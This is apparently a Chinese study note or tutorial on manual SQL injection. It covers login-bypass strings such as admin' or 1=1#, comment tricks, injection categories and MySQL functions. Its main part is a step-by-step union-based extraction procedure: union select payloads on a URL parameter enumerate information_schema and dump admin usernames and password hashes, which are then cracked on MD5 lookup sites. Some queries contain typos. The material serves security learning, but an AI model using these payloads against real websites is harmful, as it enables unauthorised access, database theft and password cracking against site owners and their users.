SQL注入(一)
万能密码:自己写的网站,找到登录窗口(必须和数据库交互)往里插入构造的恶意代码,最后可以直接登录进去,不需要登录密码,输入的恶意代码成为万能密码
用户名的地方没有处理,密码输入1:admin' or 1=1#
注释符号:# -- %25 %2d%2d --+
select * from 'user' where user = 'admin' or 1=1#' and password =' ';
再输入2:admin' and 1=1#
出现万能密码的原因:
后端代码在执行的过程将用户输入的数据也当做代码来执行,违背一个原则:代码和数据相分离(本质问题)
前端的传递的数据可以随意控制,参数可控;后端对前端传递过来的数据没有过滤或者过滤不谨慎,最终导致sql注入(原因)
危害:数据泄露 脱库 篡改网站 破坏数据库 植入后门 getshell
分类:
请求方式:get post cookie
参数形式:整形 字符型 搜索
反馈类型:报错 union 延时 布尔(时间/页面显示状态)
数据库类型:access mssql mysql oracle nosql等等
利用技术:布尔 报错 内联 堆叠 时间 联合
手工注入中常用数据函数以及常量
@@tmpdir
@@datadir
@@basedir
@@version
@@hostname
ascii()
user()
version()
database()
concat()
group_concat()
concat()
substr()/substring()/mid()
substr():oracle,mysql,mssql substring():mysql,mssql mid():mysql注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
left(pa1,pa2)pa1是被截取的字符串,从左边开始截取,pa2是截取的长度
right(pa1,pa2)pa1是被截取的字符串,从右边开始截取,pa2是截取的长度
sleep()让数据库休眠的
ord()显示字符的ascll
if(条件,条件为真时的返回值或者语句,条件为假的返回值或者语句)
eg:if(1=1,true,false)
case when 条件then条件为真时的返回值或者语句else条件为假时的返回值或者语句end
eg:select 1,case when 1=1 then 'hello' else 'goodbye' end,3 --+
联合查询:select * from where user_id = 0.1 union select 1,2,user(),4,5,database(),7,
mysql数据库中:一库一表三字段
mysql>5.0
information_schema --mysql>5.0之后自带的,系统库,汇总(其他数据库的库名、表名、字段名)
columns --存储数据(库名、表名、字段名),需要关注该表下的三个字段
table_schema --存储其他数据库名的库名
table_name 字段存储其他数据库的表名
column_name --存储其他数据库的字段名
select table_schema,table_name,column_name from information_schema.columns;
select table_schema,table_name,column_name from information_schema.columns where;
手工注入的步骤:
step1:检测注入点(可能存在sql注入的地方),找到类似id(id/uid/typeid/sid~~~key)的参数,后面需要输入一些检测的恶意代码(payload):
,
'and 1=1#
select * from users where id =
输入的恶意payload被成功执行(页面显示效果以及报错信息等),说明此处有sql注入点
接下来还要判断注入的方式:主要根据页面的回显效果来决定使用哪种注入技术,判断从后台数据库中选择的列数以及那几列在前端显示?
?typeid=1 order by 6%23
跟换数字,根据页面的显示效果判断后台数据库选择的列数,5列
union select 1,2,3,4,5%23
返回显示2所在位置有输出:
?typeid=-1 union select 1,user(),3,4,5%23
可以根据页面显示效果可知在2的位置显示到前端
step2:收集数据信息
?typeid=-1 union select 1,database(),3,4,5%23
group_concat(distinct table_schema)
?typeid=-1 union select 1,(select distinct table_schema from information_schema.columns;),3,4,5%23
step3:获取当前数据库下的表名
select table_name from information_schema.columns where table_schema =database();
step4:获取当前数据库指定表下的字段名
select group_connect(distinct column_name) from information_schema.columns where table_schema=database() and table_name = 表名(一般需要找后台或敏感的数据表)(需要对表名进行16位转码)
addtime,id,password,qx,username
step5:获取字段数据
select concat(username,0x7e,password) from jdy_admin limit0,1;
step6:解密:pmd5、cmd5、chamd5、somd5中解密
找后台登录:(猜,漏洞扫描,信息收集)